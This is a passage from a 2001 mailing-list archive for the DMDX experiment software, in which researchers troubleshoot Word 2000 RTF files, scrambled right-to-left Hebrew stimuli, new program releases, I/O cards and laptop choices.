can do is to check the ""Ignore unknown RTF"" box in DMDX. --Ken Forster >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 12 17:57:15 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA13071 for ; Mon, 12 Feb 2001 17:57:05 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (5.1.056) id 3A6F75610017CFE1 for DMDX@psy1.psych.arizona.edu; Mon, 12 Feb 2001 17:57:04 -0700 Message-Id: <4.3.1.1.20010212175443.00e443d0@kforster.inbox.email.arizona.edu> Date: Mon, 12 Feb 2001 17:57:03 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: Word 2000 In-Reply-To: <4.3.1.1.20010212164253.00c8b940@kforster.inbox.email.arizo na.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This posting from Anna W at . (Anna, how come this was an unauthorized posting?) Dear DMDXers, Just in case it is useful to anyone, I thought I should let you all know that editing and saving one's .rtf files in WordPad (w98 version) seems to get around the unrecognised switch (and various other) problems one has with Word 2000. I'm not sure if this applies to the w2k version of WordPad too, but it's worth a go if you are having problems with Word 2000. Regards, Anna W. P.S. If you read an .rtf file originally created in Word into WordPad, I think that it may bring a number of unknown control words with it. If this occurs, saving the .rtf as a .txt file in WordPad, then opening it again in WordPad and saving it as an .rtf file eliminates all unknown control words. >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 13 09:03:54 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA14817 for ; Tue, 13 Feb 2001 09:01:54 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E00189556 for DMDX@psy1.psych.arizona.edu; Tue, 13 Feb 2001 09:01:53 -0700 Message-Id: <5.0.2.1.2.20010213085900.009e37e0@psy1.psych.arizona.edu> Date: Tue, 13 Feb 2001 09:01:53 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 2.4.04 and TimeDX 2.1.02 In-Reply-To: <200102131500.KAA01797@melbourne-city-street.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:58 AM 2/13/01 -0500, you wrote: > > Not to worry, I found it. The code was using a device context that it > >had released and win9x being the piece of junk it is was letting me get > >away with it, w2k OTOH is much more rigorous. Problem is rectified in > >TimeDX 2.1.02 and DMDX 2.4.04 now on the web page. > >When I downloaded from the web page just now, I got TimeDX v2.1.01 and DMDX >v2.4.02, with the same problems as before. How odd. Must've forgotten to compile a new zip and just uploaded the old one again, duh. I'll have a new one up when I get to work in an hour or so. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A fellow who is always declaring he's no fool usually has his suspicions. - Wilson Mizner >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 13 10:36:16 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA15076 for ; Tue, 13 Feb 2001 10:34:46 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A6F75610018B5D4 for DMDX@psy1.psych.arizona.edu; Tue, 13 Feb 2001 10:34:44 -0700 Message-Id: <5.0.2.1.2.20010213103419.009ef920@psy1.psych.arizona.edu> Date: Tue, 13 Feb 2001 10:34:47 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: DMDX 2.4.04 and TimeDX 2.1.02 In-Reply-To: <5.0.2.1.2.20010213085900.009e37e0@psy1.psych.arizona.edu> References: <200102131500.KAA01797@melbourne-city-street.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Now they're actually on the web page. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What you enjoy is much more important then what you have. >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 14 10:14:22 2001 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA17939 for ; Wed, 14 Feb 2001 10:13:32 -0700 Received: from GRAND-CENTRAL-STATION.MIT.EDU by MIT.EDU with SMTP id AA15282; Wed, 14 Feb 01 12:11:54 EST Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id MAA04014 for ; Wed, 14 Feb 2001 12:13:31 -0500 (EST) Received: from corot (COROT.MIT.EDU [18.42.2.3]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with SMTP id MAA11038 for ; Wed, 14 Feb 2001 12:13:30 -0500 (EST) Message-Id: <200102141713.MAA11038@melbourne-city-street.MIT.EDU> Date: Wed, 14 Feb 2001 12:11:57 -0500 To: DMDX@psy1.psych.arizona.edu From: Richard Russell Subject: [DMDX] displaying multiple images Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, I would like to display two or three images on the same screen and then record a decision. Is it possible to display more than one image file at a time and specify the display locations? Thanks! Richard Russell MIT Dept. of Brain and Cognitive Sciences (617) 252-1815 >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 14 10:38:04 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA18059 for ; Wed, 14 Feb 2001 10:37:59 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E001A7F00 for DMDX@psy1.psych.arizona.edu; Wed, 14 Feb 2001 10:37:58 -0700 Message-Id: <5.0.2.1.2.20010214103751.009eb540@psy1.psych.arizona.edu> Date: Wed, 14 Feb 2001 10:38:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: displaying multiple images In-Reply-To: <200102141713.MAA11038@melbourne-city-street.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:11 PM 2/14/01 -0500, you wrote: >Hello, > >I would like to display two or three images on the same screen and then >record a decision. Is it possible to display more than one image file at a >time and specify the display locations? Yep, check the demo. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A fellow who is always declaring he's no fool usually has his suspicions. - Wilson Mizner >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 14 13:59:56 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA18592 for ; Wed, 14 Feb 2001 13:59:41 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id PAA02474 for ; Wed, 14 Feb 2001 15:59:39 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f1EKxdg13491 for ; Wed, 14 Feb 2001 15:59:40 -0500 (EST) Date: Wed, 14 Feb 2001 15:59:39 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] typed responses In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list We're setting up an experiment involving presentation of a single image as a cue for multiple retrievals. We'd like to have subjects type individual items and (if possible) time-stamp the completion of each item (e.g., on the press of the enter key). If anyone has experience with something like this, we'd appreciate suggestions. Thanks, -Michael ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 14 14:31:29 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA18737 for ; Wed, 14 Feb 2001 14:31:23 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E001AF76D for DMDX@psy1.psych.arizona.edu; Wed, 14 Feb 2001 14:31:22 -0700 Message-Id: <5.0.2.1.2.20010214143104.009efb60@psy1.psych.arizona.edu> Date: Wed, 14 Feb 2001 14:31:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: typed responses In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:59 PM 2/14/01 -0500, you wrote: >We're setting up an experiment involving presentation of a single image as >a cue for multiple retrievals. We'd like to have subjects type individual >items and (if possible) time-stamp the completion of each item (e.g., on >the press of the enter key). If anyone has experience with something like >this, we'd appreciate suggestions. Thanks, -Michael See the keyword. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ What you enjoy is much more important then what you have. >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 15 09:39:45 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA20903 for ; Thu, 15 Feb 2001 09:39:15 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (5.1.056) id 3A6F7561001BF39F for DMDX@psy1.psych.arizona.edu; Thu, 15 Feb 2001 09:39:13 -0700 Message-Id: <4.3.1.1.20010215093445.00c8b170@kforster.inbox.email.arizona.edu> Date: Thu, 15 Feb 2001 09:39:12 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: Word 2000 In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Further to the discussion of Word 2000 - DMDX problems, Ram Frost sends this msg. ---------- Forwarded message ---------- Date: Wed, 14 Feb 2001 16:12:33 +0200 (IST) From: Ram Frost To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] DMDX in the holy land Dear DMDX users, Being a silent reader of the DMD-X files, but following Ken Forster's suggestion I would like to report a major problem we encountered in my new lab while trying to make DMDX run experiments in Hebrew and Arabic. My lab was recently equipped with the newest IBM machines, newest graphic-cards, As well as Windows 2000 NT Professional. It was time to move on and install DMDX rather than the old DMTG. Very quickly we realized that TIMEDX cannot work with Windows 2000 NT, so we partitioned our disk to have two options, WINDOWS 98 and WINDOWS 2000. DMDX was to be run on WINDOWS 98. We also realized that the newest graphic card is in high probability a problem. TIMEDX Does not work with all of them, better buy an oldie. So we did. Finally the system worked. Running experiments in Hebrew, however, created a problem that occupied my lab for 3 long months. The item files were created using Office 2000, first via Microsoft Excel, then via Microsoft Word files saved in RTF. Note that since the Unicode System, which is the great feature of the new Windows 2000 NT, cannot be used with DMDX, one needs to use a Hebrew (or Arabic) enabled 98 or Millenium system. Microsoft Offices in Hebrew or Arabic need to deal with the problem of how to set reading directions in a text, which may involve mixing Hebrew and English script (Hebrew, as most of you probably know, is printed from right to left). Office then needs to switch the typing direction each time a Hebrew or an English Character is encountered.. This is the major feature of any OFFICE for Hebrew. While we printed the item files for DMDX, they looked fine on the screen. However, when DMDX took the files, and actually ran the experiment we discovered that for some items the words were typed on the screen during the experiment with intermixed letters. That is, the second half of the word appeared in the beginning, the last letter appears as first letter, the last two letters appear as first two letters etc. We further discovered that when such a problem occured for a given stimulus, it was ALWAYS present for that stimulus in the experiment, in any given run. This means it was NOT a random problem. We suspected that this has to do with the interface of how DMDX operates with the Office Hebrew/English programs . We could not find how or why a specific printed stimulus will elicit this form of mixed presentation, as the printed file looked always perfect. Only while running the experiment that we discovered which stimulus got distorted. On the average, problems with distorted stimuli occured for about 20 % of the trials. The alarming problem was that the mixing was never transparent. The experiment diagnostics printed in the DMDX window or saved in the experiment summary, did NOT show that the word was printed wrongly. Only while running the experiment that you could see that the word was distorted on the screen, if you set the primes and targets to appear for long durations. This was alarming because with masked priming one may not know that his/her primes are printed wrongly. Since the original files were not distorted, we struggled how to correct them. While we tried to ""correct"" the printed word we could not correct it by simply retyping the word. What we did was to enter the Excel file in which we inetrleaved the items, and we recopied the entire line containing that word into the RTF file. When we did that, the stimulus was often repaired (again, once a stimulus was ""repaired"" it was always OK from that point on). However, when we did that, we found out to our great horror and distress that other stimuli not adjacent to that line may become distorted. We tested this dozens of times but could not find a regularity that predicts which items will be distorted. So, when we corrected the new problems in the file, they were always OK from that point on.. But now again, new items became distorted. These items were not distorted previously, but became distorted as a result of the recopying of a line in the file, which could be 10 or 30 lines before or after the correction. Sounds horibble..I know...The only good news in this nightmare is that eventually, after many runs, the words were all ok. So the process was not endless, but eventually ended. However, the time it took to set an experiment becames now 10 times as long. In fact, ANY change in the RTF file, like changing the first line and typing N105 instead of N96 (the parameter for n of stimuli) could have caused one or of the stimuli (or more) in the list to be distorted. Even the wording of the instructions for the subject could become distorted so the last word would be printed in the beginning etc. When be brought this to the attention of Ken and Jonathan they came with The following explanation : "" If Word breaks a letter sequence up into segments, as it apparently does on occasion, then you might have something like {AB} {CD} {EF}. If the font information is duplicated for each segment, then it prints the first segment right to left, then the second segment, etc., producing BADCFE instead of FEDCBA. If the font information is not always duplicated, then other patterns are possible. It is even possible that the segments are hierarchically arranged, as in {{{AB}{CD}}{EF}}. We think that something like this must be occuring... If you look at your .rtf file using a text editor (not Word), then you'll see lots of extraneous markers, e.g.: ""\\rtlch"" which are instructions about how the text is to be printed/displayed. This particular example specifies that what follows should be printed right to left. All the .rtf instructions are preceded by a backslash and terminated by a space. What we expect to find is that the words that are not displayed correctly will have a different structure from all the others. Whenever you edit an .rtf file and a new version gets written to disk, there is a chance that this bug (if that is what it is) will zap one of the items. That's why just changing the parameter line can mess the file up "". So we checked this explanation, and printed the RTF file using a text editor. Ken's intuition was correct. When we opened the RTF file in the text format, we found indeed that for some stimuli, Office indeed broke the sequence of the word. THIS WAS PRIOR TO DMDX OPERATION. So when DMDX got this RTF file it printed first the last segment then the first segment, instead of the other way around. our diagnosis is that the problem is not with the Interaction of DMDX with WORD, but with the interaction of WINDOWS and WORD. DMDX produces two files when it runs the experiment. the first is called RTFPARSED, the second is called SCRAMBLED. In both of those the initial error appears but this is because it was already there in the RTF file we created. WHY exactly, and for what reason the RTF file (or the text file) cuts the word in two ? The only explanation we had was that it has to do with some memory block size constraints characteristics to the software. Our attempts to verify this with Microsoft Help desk were not successful. They did acknowledge that their software does that, but declined responsibility for ""nonconvetional"" use of their RTF files by another software like DMDX. According to them they are only responsible for mismatches between the keyboard typing and the page... Our breakthrough in this problem was when de discovered that while OFFICE 2000 created files with about 20 % of distortion, OFFICE 97 created about 5% of distortions. We then thought that all this has to do with the very fancy options that OFFICE 2000 has in typing, which obviously need to be encoded somewhat in the RFT file. OFFICE 97 needs less memory and is less complex, so less �breaking� is expected. Our solution was then to install WORD 6.0. Each item file was first created using OFFICE 2000 or 97, but when we were satisfied with its shape, before running the experiment, we opened and saved the RTF file using WORD 6.0 . Only this file was fed to DMDX. From that on never we encountered any mixing. Most users of DMDX may not find this account necessarily relevant (as far as we know only we are running Experiments in Hebrew), but they should be aware that: 1) For any system that has Right-to-left and left-to-right typing directions ; these problems may occur. 2) The RTF file may me distorted if you do not type simple Roman stimuli. 3) The DMDX summary window will not reveal it. 4) In this case it is probably safer to use older versions of Word like WORD 6.0 and save the final RTF file using this old version. The new OFFICES 2000 may hide problem. Best regards, Ram Frost Noa Roe. Jerusalem. >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 15 09:57:52 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA20997 for ; Thu, 15 Feb 2001 09:57:45 -0700 Received: from pc057 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Thu, 15 Feb 2001 16:57:41 GMT Message-Id: <200102151657.QAA14225@mailhost.mrc-cbu.cam.ac.uk> Date: Thu, 15 Feb 2001 16:59:08 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: Word 2000 In-Reply-To: <4.3.1.1.20010215093445.00c8b170@kforster.inbox.email.arizo na.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi. After much foul language and swearing we solved our problems with using Arabic and DMDX (see http://www.mrc-cbu.cam.ac.uk/Language/DMDX/dmdx_arabiyya.html), however this was with Win98 not 2000. I shall see if this system still works with Win2000, that is whether we get the same problems as Ram and colleagues are having with Hebrew. I seriously hope not, Sami learnt more than enough English swear words last time and I think before I learn any more Arabic swear words, I should learn how to say hello, order a cup of tea etc. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 241 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Thu Feb 15 13:42:19 2001 Received: from groupwise1.duc.auburn.edu (groupwise1.duc.auburn.edu [131.204.2.92]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id NAA21587 for ; Thu, 15 Feb 2001 13:41:55 -0700 Received: from Auburn-Message_Server by groupwise1.duc.auburn.edu with Novell_GroupWise; Thu, 15 Feb 2001 14:41:44 -0600 Message-Id: Date: Thu, 15 Feb 2001 14:41:32 -0600 From: ""Nan Jiang"" To: Subject: [DMDX] Re: Word 2000 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am testing Chinese on my Window 98. So far so good. The only extra thing to do is to have a Chinese viewer open (I use njwin). I type Chinese characters using a Chinese word processor ""njstar"". Then I copy and paste them to Word which automatically swithces to MS Sun font. Everything works well from there. Nan Jiang, Ph.D. Assistant Professor Department of English Auburn University Auburn, AL 36849 (334) 844-9070 jiangna@auburn.edu >From DMDX-owner@psy1.psych.arizona.edu Fri Feb 16 07:43:23 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA23674 for ; Fri, 16 Feb 2001 07:43:12 -0700 Received: from pc057 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Fri, 16 Feb 2001 12:48:44 GMT Message-Id: <200102161248.MAA13610@mailhost.mrc-cbu.cam.ac.uk> Date: Fri, 16 Feb 2001 12:50:08 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] multiple scramble Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have added a page on multiple scrambling to my tutorial. http://www.mrc-cbu.cam.ac.uk/Language/DMDX/paradigms/multiplescramble.html - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 241 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Sat Feb 17 14:44:11 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA27039 for ; Sat, 17 Feb 2001 14:42:11 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id QAA03785 for ; Sat, 17 Feb 2001 16:42:10 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f1HLg9O16603 for ; Sat, 17 Feb 2001 16:42:09 -0500 (EST) Date: Sat, 17 Feb 2001 16:42:09 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] PCI bus data I/O cards In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan -- do you know whether the Keithly PCI digital I/O boards (specifically, the KPCI-PIO24) cards will work with the PIO12 calls from DMDX? If one wants to do digital I/O, are you restricted to machines with ISA slots (for the PIO-12 and -24)? Thanks, -Michael ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Sat Feb 17 18:09:11 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA27429 for ; Sat, 17 Feb 2001 18:07:39 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E001EFC20 for DMDX@psy1.psych.arizona.edu; Sat, 17 Feb 2001 18:07:38 -0700 Message-Id: <5.0.2.1.2.20010217180637.009ebd30@psy1.psych.arizona.edu> Date: Sat, 17 Feb 2001 18:07:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: PCI bus data I/O cards In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:42 PM 2/17/01 -0500, you wrote: >Jonathan -- do you know whether the Keithly PCI digital I/O boards >(specifically, the KPCI-PIO24) cards will work with the PIO12 calls from >DMDX? I suspect one or two people have these cards and I haven't heard of anything negative, nor can I think of a reason they wouldn't work. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A fellow who is always declaring he's no fool usually has his suspicions. - Wilson Mizner >From DMDX-owner@psy1.psych.arizona.edu Sun Feb 18 04:47:46 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA28498 for ; Sun, 18 Feb 2001 04:46:13 -0700 Received: from pc057 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Sun, 18 Feb 2001 11:46:11 GMT Message-Id: <200102181146.LAA21576@mailhost.mrc-cbu.cam.ac.uk> Date: Sun, 18 Feb 2001 11:47:40 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: PCI bus data I/O cards In-Reply-To: <5.0.2.1.2.20010217180637.009ebd30@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list We've had problems installing the Keithley PCI cards on some machines and found the Computerboards clone a lot easier to use. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 241 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Sun Feb 18 12:42:57 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA29304 for ; Sun, 18 Feb 2001 12:41:25 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id OAA11038 for ; Sun, 18 Feb 2001 14:41:23 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f1IJfOP14542 for ; Sun, 18 Feb 2001 14:41:24 -0500 (EST) Date: Sun, 18 Feb 2001 14:41:24 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: PCI bus data I/O cards In-Reply-To: <200102181146.LAA21576@mailhost.mrc-cbu.cam.ac.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks, Mike (Jonathan, as well). What types of problems did you encounter with the PCI cards? -Michael > We've had problems installing the Keithley PCI cards on some machines and > found the Computerboards clone a lot easier to use. > > - Mike ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Sun Feb 25 20:03:22 2001 Received: from mailhost.auckland.ac.nz (mailhost.auckland.ac.nz [130.216.1.4]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA16037 for ; Sun, 25 Feb 2001 20:02:37 -0700 Received: from foaex01.auckland.ac.nz (foaex01.auckland.ac.nz [130.216.239.8]) by mailhost.auckland.ac.nz (8.9.2/8.9.2/8.9.2-ua) with ESMTP id QAA11921 for ; Mon, 26 Feb 2001 16:02:35 +1300 (NZDT) Received: by foaex01.auckland.ac.nz with Internet Mail Service (5.5.2650.21) id ; Mon, 26 Feb 2001 16:02:12 +1300 Message-ID: From: ""Rebecca Godfrey (FOA EDU)"" To: ""'DMDX@psy1.psych.arizona.edu'"" Subject: [DMDX] What laptop to buy Date: Mon, 26 Feb 2001 16:02:10 +1300 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I need to buy a laptop to run DMDX and was wondering if anyone has bought something this year that suits. The nice MARCS people suggested a Dell Inspiron, but the Dell people say a Latitude model, and our computer guy says don't buy a Dell at all and get a Toshiba. Thanks for your help, Rebecca >From DMDX-owner@psy1.psych.arizona.edu Sun Feb 25 21:07:44 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA16201 for ; Sun, 25 Feb 2001 21:07:36 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E0028431E for DMDX@psy1.psych.arizona.edu; Sun, 25 Feb 2001 21:07:36 -0700 Message-Id: <5.0.2.1.2.20010225210658.009ed9e0@psy1.psych.arizona.edu> Date: Sun, 25 Feb 2001 21:07:07 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: What laptop to buy In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: 